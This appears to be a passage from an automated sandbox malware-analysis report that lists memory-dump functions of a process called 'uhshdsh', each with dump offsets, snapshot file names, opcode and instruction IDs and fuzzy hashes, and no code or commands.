Memory Dump Source

Source File: 00000006.00000002.2298050999.00000000068A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 068A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_68a0000_uhshdsh.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 83599e5d8b3f07f37fc428a30d16da5133ff0e2f50b52668988eeeb62ab20133
Instruction ID: 026c76d6e531a3f3cd3a2874eddcd486b6cf59c6272a72af02f0006c3611cb43
Opcode Fuzzy Hash: 83599e5d8b3f07f37fc428a30d16da5133ff0e2f50b52668988eeeb62ab20133
Instruction Fuzzy Hash: 3411FA78A0422A8FCB54DF58DC589DAB7B1FB48305F1040F9A51D97355DB345E828F81

Function 01800A95 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2277897641.0000000001800000.00000040.00000800.00020000.00000000.sdmp, Offset: 01800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1800000_uhshdsh.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 674696a47a372c6ee00f2dc1b7d272079727c0e88cc2303df2eb903f5f9ed9d2
Instruction ID: 3a11b86ac85f910a06c895712ba947591d2ab7b666587d117d4ec32cc5d54d26
Opcode Fuzzy Hash: 674696a47a372c6ee00f2dc1b7d272079727c0e88cc2303df2eb903f5f9ed9d2
Instruction Fuzzy Hash: 5FF030B0E00219ABDB05EBF8C5556DEBBB5EF80310F50C069D91A97298EE345A4587D1

Function 052451BA Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2291778226.0000000005240000.00000040.00000800.00020000.00000000.sdmp, Offset: 05240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5240000_uhshdsh.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dd0e34677501759a5328c1e9983edfb9401bf4e09599911f0572e5f0d5d37572
Instruction ID: dabc0c785cb8c7571f180fc2c35f996baec20016b6cf7cc73eb9af240bd5ac8d
Opcode Fuzzy Hash: dd0e34677501759a5328c1e9983edfb9401bf4e09599911f0572e5f0d5d37572
Instruction Fuzzy Hash: 43F0147190020AABCF01EF99C8409EEBB75FF89320F10C519E95873211E772A6A6DB90

Function 052445B1 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2291778226.0000000005240000.00000040.00000800.00020000.00000000.sdmp, Offset: 05240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5240000_uhshdsh.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9d6c5128cb5f7baa303ca7f67c34348515ff059801e472a1ea220acaaa6a65ce
Instruction ID: 3b3f4723bb59219fd94e67b90a875425d6d12342b9d4e34c0c448415c7b986db
Opcode Fuzzy Hash: 9d6c5128cb5f7baa303ca7f67c34348515ff059801e472a1ea220acaaa6a65ce
Instruction Fuzzy Hash: 9901D074A142289BCB68DF64E854BDCBBB2FF0A300F1086D9E549A7290CB701EC0CF80

Function 052451C0 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2291778226.0000000005240000.00000040.00000800.00020000.00000000.sdmp, Offset: 05240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5240000_uhshdsh.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0ece70dd4b4dc54aa2ca6b16d27ead40876596a73d8f6e02806d6003a821018b
Instruction ID: 0e6c52f18422773ba023b9dea73ed70ca8c61ede73fbe40d4ab7ae4b2fd00cc8
Opcode Fuzzy Hash: 0ece70dd4b4dc54aa2ca6b16d27ead40876596a73d8f6e02806d6003a821018b
Instruction Fuzzy Hash: 4CF0C43191020AABCF05DF99D8009EEBB75FF89324F10C519E95927211E772A6A6DB90

Function 05240730 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2291778226.0000000005240000.00000040.00000800.00020000.00000000.sdmp, Offset: 05240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5240000_uhshdsh.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2126dc8f19ecde9ca7b32bbac47545d363fccd19d6acded948610b20f1679d8a
Instruction ID: 4a145b6f2594155a9ce9deaff27abfa1d34f607c1b95ede8d2b172addeb9adeb
Opcode Fuzzy Hash: 2126dc8f19ecde9ca7b32bbac47545d363fccd19d6acded948610b20f1679d8a
Instruction Fuzzy Hash: 8FF0A731819608ABC719D7A4C9893DDBF74DB05354F544098D44A1B682DA369687DF42

Function 05241EB2 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2291778226.0000000005240000.00000040.00000800.00020000.00000000.sdmp, Offset: 05240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5240000_uhshdsh.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6f56cc44010db850a0b01ff97bd9287ff21be89458f8d320e7d2c1ce5f20209c
Instruction ID: a73e01757f11f611e40a2eb8a34cac8215b985da2721e8c0c6408c4646250f9c
Opcode Fuzzy Hash: 6f56cc44010db850a0b01ff97bd9287ff21be89458f8d320e7d2c1ce5f20209c
Instruction Fuzzy Hash: 5FF0C474A29219CFDB18DFAAD994BA9BAF6BF44300F10906A940EAB254DB744980CF11

Function 01800A98 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2277897641.0000000001800000.00000040.00000800.00020000.00000000.sdmp, Offset: 01800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1800000_uhshdsh.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 14ef61d17ce92fa1ad45b40257e2f8a98d44635ca6b34f613f569762de42750f
Instruction ID: f3f6ab57aa9309413fcc414b923dca3bf7118be52cc6d0dddfa6ffcccdcab5a9
Opcode Fuzzy Hash: 14ef61d17ce92fa1ad45b40257e2f8a98d44635ca6b34f613f569762de42750f
Instruction Fuzzy Hash: 42F05470E001199BDB04EBB8C5556DEBBB1EF40310F50C075D91697398EF345A45C7D1

Function 05241977 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2291778226.0000000005240000.00000040.00000800.00020000.00000000.sdmp, Offset: 05240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5240000_uhshdsh.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8cbb85147f913f138072c8e4500c11a3122a5dac8c5ca0a0efab2feb1897f26a
Instruction ID: c7a823fda3a8c816faac4f659f5dee1a4a2649e39d183dbc1833dd4b26675e3d
Opcode Fuzzy Hash: 8cbb85147f913f138072c8e4500c11a3122a5dac8c5ca0a0efab2feb1897f26a
Instruction Fuzzy Hash: 3CF0323190924CAFCB06CF94D881AADBFB6FF09310F148099ED0852261C6329A65EF81

Function 0180093B Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2277897641.0000000001800000.00000040.00000800.00020000.00000000.sdmp, Offset: 01800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1800000_uhshdsh.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 45746d71688e2436f52983f63d48551857a97b2266fdec2fb3617a2f86ab9422
Instruction ID: b3e95fd5c0c6f60d0556d4029b226ecf5f8ac6fa74f80df5ecb1df4ddfbd6014
Opcode Fuzzy Hash: 45746d71688e2436f52983f63d48551857a97b2266fdec2fb3617a2f86ab9422
Instruction Fuzzy Hash: 7CF0A07190A38CEFCB93CB689D10A28BFB8DA43250B0140DBE44CDB1A3D6740E04C321

Function 05244597 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2291778226.0000000005240000.00000040.00000800.00020000.00000000.sdmp, Offset: 05240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5240000_uhshdsh.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c399efe6aca6253b7278b34b7565c6b2b786ec55861810c85d8aed5ab7d9756
Instruction ID: 884564391e8e460bfab613cf161b9545f63fa21bc33e7af3d46d1c034a8bf5c9
Opcode Fuzzy Hash: 7c399efe6aca6253b7278b34b7565c6b2b786ec55861810c85d8aed5ab7d9756
Instruction Fuzzy Hash: 1401DD74911228CFDB64CF24E808BACBBB1FB45346F1089E9D00AA6290C3B44EC4CF00

Function 05244773 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2291778226.0000000005240000.00000040.00000800.00020000.00000000.sdmp, Offset: 05240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5240000_uhshdsh.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 195e342d62c63c1bba0b8cb6c0f85589bc191f5d3f7bde0501ac0791c8d29d8f
Instruction ID: 58dbaf551f7200cf778f30e665e723327c5c255d7d6298574fc5a79c3d01006f
Opcode Fuzzy Hash: 195e342d62c63c1bba0b8cb6c0f85589bc191f5d3f7bde0501ac0791c8d29d8f
Instruction Fuzzy Hash: B30198749052288BDB65CF64C888BEDBBB1AF09304F1486D9C80DA2260CB765AC5CF50

Function 05246A98 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2291778226.0000000005240000.00000040.00000800.00020000.00000000.sdmp, Offset: 05240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5240000_uhshdsh.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8eeabaab003528b0f615f1ea550487b9903e222e04760e49f6981447b0256855
Instruction ID: 9266cb19d9e42d46c4ee1072ffaa2359347f57a8397246fc6335a10113f6cbfa
Opcode Fuzzy Hash: 8eeabaab003528b0f615f1ea550487b9903e222e04760e49f6981447b0256855
Instruction Fuzzy Hash: B2F05E35905208FFCB05CF84C840BACBBB6FB48310F14C069BC0852350C672AA61EF44

Function 05245DA0 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2291778226.0000000005240000.00000040.00000800.00020000.00000000.sdmp, Offset: 05240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5240000_uhshdsh.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ce544f4ece6737902098f67a073ea1a85c881851b4d5df5c3abf3967ce7bbfbb
Instruction ID: 08f14bf133d88cf973698a1d7793b5f545eef498bc2549b42145a900514a0a76
Opcode Fuzzy Hash: ce544f4ece6737902098f67a073ea1a85c881851b4d5df5c3abf3967ce7bbfbb
Instruction Fuzzy Hash: C6F0E234908288EFCB02CF90C9005ADBFB1FF09311F14C58AEC6952252C2368A11EF40

Function 01800CB0 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2277897641.0000000001800000.00000040.00000800.00020000.00000000.sdmp, Offset: 01800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1800000_uhshdsh.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 14213b926b3e0b23125b4b4ea84afff5f716e93a5ba2c93eed8ea04ece00cd77
Instruction ID: 5e3f24ea610dabeb2a0be9cd2b46d7a55a8360995bf98e7bd35bd5c81c87d289
Opcode Fuzzy Hash: 14213b926b3e0b23125b4b4ea84afff5f716e93a5ba2c93eed8ea04ece00cd77
Instruction Fuzzy Hash: 22F0B7B4E0030E9FDB54DFA9C4457BEBBB1EB84300F10C56A9919A3284E67956428FD1

Function 05240EB0 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2291778226.0000000005240000.00000040.00000800.00020000.00000000.sdmp, Offset: 05240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5240000_uhshdsh.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a52e32f97a42c7081ccefb4ee261100b1895acfab93e443a84f62b716692c174
Instruction ID: 3176a31db290d18793159b8593e3409f316310b2f42dbbbdffe672def7d6c856
Opcode Fuzzy Hash: a52e32f97a42c7081ccefb4ee261100b1895acfab93e443a84f62b716692c174
Instruction Fuzzy Hash: 80F01C71E15208EFC744DFA8D48579CBBF5EB48310F24C4A99818D3342DA769A55CF80

Function 052469B0 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2291778226.0000000005240000.00000040.00000800.00020000.00000000.sdmp, Offset: 05240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5240000_uhshdsh.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ddf70115d7008d9ff6b4346218a7b46037050096c51a3b2c9b0fc56150e9010d
Instruction ID: b152a3248c56fbca95a34487840ea5de3c055d0ab60c353dd0ce6cdf724e844c
Opcode Fuzzy Hash: ddf70115d7008d9ff6b4346218a7b46037050096c51a3b2c9b0fc56150e9010d
Instruction Fuzzy Hash: C4F0A034C28208EFCB44CF98C480AACBBB1EF49310F10C0AAD84866341C672AA55DF81

Function 05240B00 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2291778226.0000000005240000.00000040.00000800.00020000.00000000.sdmp, Offset: 05240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5240000_uhshdsh.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0db5b4233f684921344e0362cf7ff4b15066857832a769d22d2bd6fedace316d
Instruction ID: 197694c668b582d1b74016ef634e8bd1db1d80a52a47c3f9f19e72de364e64d3
Opcode Fuzzy Hash: 0db5b4233f684921344e0362cf7ff4b15066857832a769d22d2bd6fedace316d
Instruction Fuzzy Hash: 54E06872D75208AFCB44CFB8D84938DBBF9DB08700F0040A89908D7300EA709A80CB04

Function 05242628 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2291778226.0000000005240000.00000040.00000800.00020000.00000000.sdmp, Offset: 05240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5240000_uhshdsh.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 69b8e1afc08bcfa1f9fb1842b174ac095c24481bf29ac3fb3476df2401a8ecd3
Instruction ID: d63afe89f595c849c6592522cc77dfe600ec9abcc91e244d8f4ae854f45711fc
Opcode Fuzzy Hash: 69b8e1afc08bcfa1f9fb1842b174ac095c24481bf29ac3fb3476df2401a8ecd3
Instruction Fuzzy Hash: D3F08C35909208EBCB44CB98D881BACBFB9EB49310F1480AAE94852345C631AA52DF85

Function 05242971 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2291778226.0000000005240000.00000040.00000800.00020000.00000000.sdmp, Offset: 05240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5240000_uhshdsh.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 11f7805ef34d5b97f75f1fe5a8d75af3316f40e9b658088db5e5b10a2483a00b
Instruction ID: d9772b27e169612fd798352af2c179e8447a6dd75e727f7bb4edc4dd95de8eb8
Opcode Fuzzy Hash: 11f7805ef34d5b97f75f1fe5a8d75af3316f40e9b658088db5e5b10a2483a00b
Instruction Fuzzy Hash: 44015F74A14219CFCB64EF68E994B9ABBB2FB48305F1081EA9449A7344DF746E81CF50

Function 05246CB8 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2291778226.0000000005240000.00000040.00000800.00020000.00000000.sdmp, Offset: 05240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5240000_uhshdsh.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d2a1618f0728048c0dbacce184cec93007d94e8d0a43d1b5709de38b476ff498
Instruction ID: 39ee8bbb4b5b5f695afc68dcf7f5d2a61cf5eb02d432b04141c0c73a3c22e309
Opcode Fuzzy Hash: d2a1618f0728048c0dbacce184cec93007d94e8d0a43d1b5709de38b476ff498
Instruction Fuzzy Hash: 22F03976C08208AFC754DBD8D4467ACBBB6EB59310F14C0A9EC4952342D676AA92DB84

Function 05241B01 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2291778226.0000000005240000.00000040.00000800.00020000.00000000.sdmp, Offset: 05240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5240000_uhshdsh.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 66726d42b7b3aaa6fdd528846b03e9bbded2b6a78c4a75d01e5905b872ddd56b
Instruction ID: b3a43f91db99138d783678013a87f116ef8ee9858011cbbc4ca5b4ad29a99849
Opcode Fuzzy Hash: 66726d42b7b3aaa6fdd528846b03e9bbded2b6a78c4a75d01e5905b872ddd56b
Instruction Fuzzy Hash: E0F03035D28108DFC754DBA4D5417A8BBF5EB49214F54C0A9981897241DA3A9A55CF40

Function 05243B49 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2291778226.0000000005240000.00000040.00000800.00020000.00000000.sdmp, Offset: 05240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5240000_uhshdsh.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f989ed92322fc4af1f197519b71781b85c02fbddb9b103a1c204edf988eb7f56
Instruction ID: f33a69b8ed5a5ab874e71f9b148c755336d9afd39281fb21314cac76d487572a
Opcode Fuzzy Hash: f989ed92322fc4af1f197519b71781b85c02fbddb9b103a1c204edf988eb7f56
Instruction Fuzzy Hash: A3F03976604108AFCB06CFA0DD40AAE7B76EF59310F14849AAC4557251C7768AA2EF41

Function 05245E27 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2291778226.0000000005240000.00000040.00000800.00020000.00000000.sdmp, Offset: 05240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5240000_uhshdsh.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 85f89fb355d6b273a99c4d60eded90641882fce31e7b6e269071845dc40ba5ab
Instruction ID: 074e043847433a29b97ceac35c8185a7f71387d044e2876a67cb1b08621078a7
Opcode Fuzzy Hash: 85f89fb355d6b273a99c4d60eded90641882fce31e7b6e269071845dc40ba5ab
Instruction Fuzzy Hash: C2F01534A15208EFCB46DF88C944AACBFB2FF48320F14C19AEC5956251C6328A65EF40

Function 05241080 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2291778226.0000000005240000.00000040.00000800.00020000.00000000.sdmp, Offset: 05240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5240000_uhshdsh.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 87f5cb3a4f6e67cac50b874c759d442fb6097ad57798006db1c29333ed0e3297
Instruction ID: d5380f3ee89040807d82182e17a40c13f24ec7d555a676f70ac726715679aaab
Opcode Fuzzy Hash: 87f5cb3a4f6e67cac50b874c759d442fb6097ad57798006db1c29333ed0e3297
Instruction Fuzzy Hash: 90E0ED70C09308AFC704CB94C881968BF74AF0A310F1084999C08173A2C672AE5ADB44

Function 0524333A Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2291778226.0000000005240000.00000040.00000800.00020000.00000000.sdmp, Offset: 05240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5240000_uhshdsh.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c6731044df0a471df6445fe7522967ad3b3945eaf3f3068b0deeb3285e49a31
Instruction ID: 479df09367297aed775dafa713c36fa13a638666b7591291d425e36b2e68b003
Opcode Fuzzy Hash: 7c6731044df0a471df6445fe7522967ad3b3945eaf3f3068b0deeb3285e49a31
Instruction Fuzzy Hash: 62F03936815108EBCB09CF98D9419ADBF76FB49310F148499FD0417251CB72AAA1EB91

Function 05242740 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2291778226.0000000005240000.00000040.00000800.00020000.00000000.sdmp, Offset: 05240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5240000_uhshdsh.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 11ff92b278ebdb84f9e8923311354736af666b0d54840a9110ed85b6c6df9d5a
Instruction ID: ae7920a99b0b37be526d5c71aa009a77f1a26fa91ecacd6c4ba24dfa13e60cd6
Opcode Fuzzy Hash: 11ff92b278ebdb84f9e8923311354736af666b0d54840a9110ed85b6c6df9d5a
Instruction Fuzzy Hash: A7E09275E24208EFC744DFA8D98579CBBF8FF08610F648098E809C3341D771AA41CB41

Function 05247F88 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2291778226.0000000005240000.00000040.00000800.00020000.00000000.sdmp, Offset: 05240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5240000_uhshdsh.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9b4a077c09fe74a064aa7abf5faad29319d3367e006e7c69d4e6325661e73185
Instruction ID: 71cb7e888d4b6346c5c10ebaa8945d4e558c881813756f913e69fe15954a06ab
Opcode Fuzzy Hash: 9b4a077c09fe74a064aa7abf5faad29319d3367e006e7c69d4e6325661e73185
Instruction Fuzzy Hash: 16E09230815108DFCB04DFA8D98175CBF75EF45310F64859CD80463340C772A952CB91

Function 05246AA8 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2291778226.0000000005240000.00000040.00000800.00020000.00000000.sdmp, Offset: 05240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5240000_uhshdsh.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9fb41d2a28cf83af1825b4324b20c4c2ee12dd4baeca8042572bc11901d9a3be
Instruction ID: 5bf23f3642ca3c304d4ede38a5e8b3536daff6874dcbc09cb2d1ca08568c8c03
Opcode Fuzzy Hash: 9fb41d2a28cf83af1825b4324b20c4c2ee12dd4baeca8042572bc11901d9a3be
Instruction Fuzzy Hash: 36F01534904208EFCB05DF98D8409ACBBB6FF48310F24C0A9EC0853351D772AA65EF40

Function 0180D160 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2277897641.0000000001800000.00000040.00000800.00020000.00000000.sdmp, Offset: 01800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1800000_uhshdsh.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a151eecc55b823b13d5dfc5e9226e8c4f5417490bfc51009a1493b3f1868bb70
Instruction ID: 3b9506714cd7d5c18b679d9983a23799724005162a1f04ad2a47abe0098ab143
Opcode Fuzzy Hash: a151eecc55b823b13d5dfc5e9226e8c4f5417490bfc51009a1493b3f1868bb70
Instruction Fuzzy Hash: 9DF0A574E0520CEFCB85DFE8D840A9DFBB5EB48310F10C1AAAC5897351DA329A56DF40

Function 068BA6F8 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2298050999.00000000068A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 068A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_68a0000_uhshdsh.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 62617e5836e61cd4788c2f8ec01a4b0bc41b6f728108e980e9cf0e4b9603272c
Instruction ID: f4b8d2148168d6bb3c65d00d5b4aac4502ace5c25230f1f2394995c7b201fb9b
Opcode Fuzzy Hash: 62617e5836e61cd4788c2f8ec01a4b0bc41b6f728108e980e9cf0e4b9603272c
Instruction Fuzzy Hash: B1E0C974D05208EFCB84DFA8D44169DBBF5EB48310F10C0A9984893345D7729A51DF84

Function 068B5FE0 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2298050999.00000000068A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 068A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_68a0000_uhshdsh.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 62617e5836e61cd4788c2f8ec01a4b0bc41b6f728108e980e9cf0e4b9603272c
Instruction ID: 7a2e0b13c18e3b21508efa5915cd79516e4bf75ef6989669e2a16bc03766839c
Opcode Fuzzy Hash: 62617e5836e61cd4788c2f8ec01a4b0bc41b6f728108e980e9cf0e4b9603272c
Instruction Fuzzy Hash: A8E0C974D05208EFCB94DFA8D441A9CFBF5EB48310F10C0A99818A3351D6729A51DF81

Function 068BBC80 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2298050999.00000000068A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 068A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_68a0000_uhshdsh.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 62617e5836e61cd4788c2f8ec01a4b0bc41b6f728108e980e9cf0e4b9603272c
Instruction ID: feb02fde1c5b2328ede9d863c3d379a7c7a4b7e197e0cbac7bcee8be14fe3e59
Opcode Fuzzy Hash: 62617e5836e61cd4788c2f8ec01a4b0bc41b6f728108e980e9cf0e4b9603272c
Instruction Fuzzy Hash: 16E0ED74D05208EFCB94DFA9D54169CFBF5EB48310F10C0A99C58D3341DA32AA51DF80

Function 05245DB0 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2291778226.0000000005240000.00000040.00000800.00020000.00000000.sdmp, Offset: 05240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5240000_uhshdsh.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8c0359be778879339be0c7f82c47d2b9854abac5fc184226f0eb3e15ac7d9302
Instruction ID: 0e90b8280fa03a88fba88b08bf502b8f550288d3d00cc0d35e47b7cfa285036b
Opcode Fuzzy Hash: 8c0359be778879339be0c7f82c47d2b9854abac5fc184226f0eb3e15ac7d9302
Instruction Fuzzy Hash: 32F0C934915208EFCB45DF98D8449ACBFB5EF48310F14C099EC5956351D6729A61EF40

Function 052423F8 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2291778226.0000000005240000.00000040.00000800.00020000.00000000.sdmp, Offset: 05240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5240000_uhshdsh.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2b53d2bc961ec707d64ce78bcce098335826c22761fde5ad63c4633c4a8de789
Instruction ID: 1f66b6109b2ad7ff4768431c3d51fbdd3f0e5258eddb73cd17e175d9836be911
Opcode Fuzzy Hash: 2b53d2bc961ec707d64ce78bcce098335826c22761fde5ad63c4633c4a8de789
Instruction Fuzzy Hash: D6E0DF3A825208DFC744DBA9E8817ACBFB4EB08210F1480A8E95853251DA76AE02CB91

Function 0524132A Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2291778226.0000000005240000.00000040.00000800.00020000.00000000.sdmp, Offset: 05240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5240000_uhshdsh.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c6b36f636dc54e3a0872c25ad6bbd767f3b7effc05a3ce3aaf75eb7888dfc49b
Instruction ID: 1a2cdece62118e07cd8e78f715977c43cb7d56399460443a522d6d0c20712707
Opcode Fuzzy Hash: c6b36f636dc54e3a0872c25ad6bbd767f3b7effc05a3ce3aaf75eb7888dfc49b
Instruction Fuzzy Hash: 4BE04F35D19108DBC708DF94E982BACBFB5FB45314F248198D81853341CA76AE56DB80

Function 05240EC0 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2291778226.0000000005240000.00000040.00000800.00020000.00000000.sdmp, Offset: 05240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5240000_uhshdsh.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7a188d58529d17e498ca11faab1c7b913b0327bc3592453a4cb02bf6f01c14ee
Instruction ID: 2049e697a0c0d3ceaefe58708d960a71bdc76e806b3e89835f629c7839cb3239
Opcode Fuzzy Hash: 7a188d58529d17e498ca11faab1c7b913b0327bc3592453a4cb02bf6f01c14ee
Instruction Fuzzy Hash: B2E0E574E15208EFCB84DFA8D4446ACBBF5FF48310F20C0A9D818A7341D672AA51DF80

Function 052469C0 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2291778226.0000000005240000.00000040.00000800.00020000.00000000.sdmp, Offset: 05240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5240000_uhshdsh.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 02fc32f546fa91844d67342aa305dfc0c5fccdbf934751b3ee854bf787c16ad2
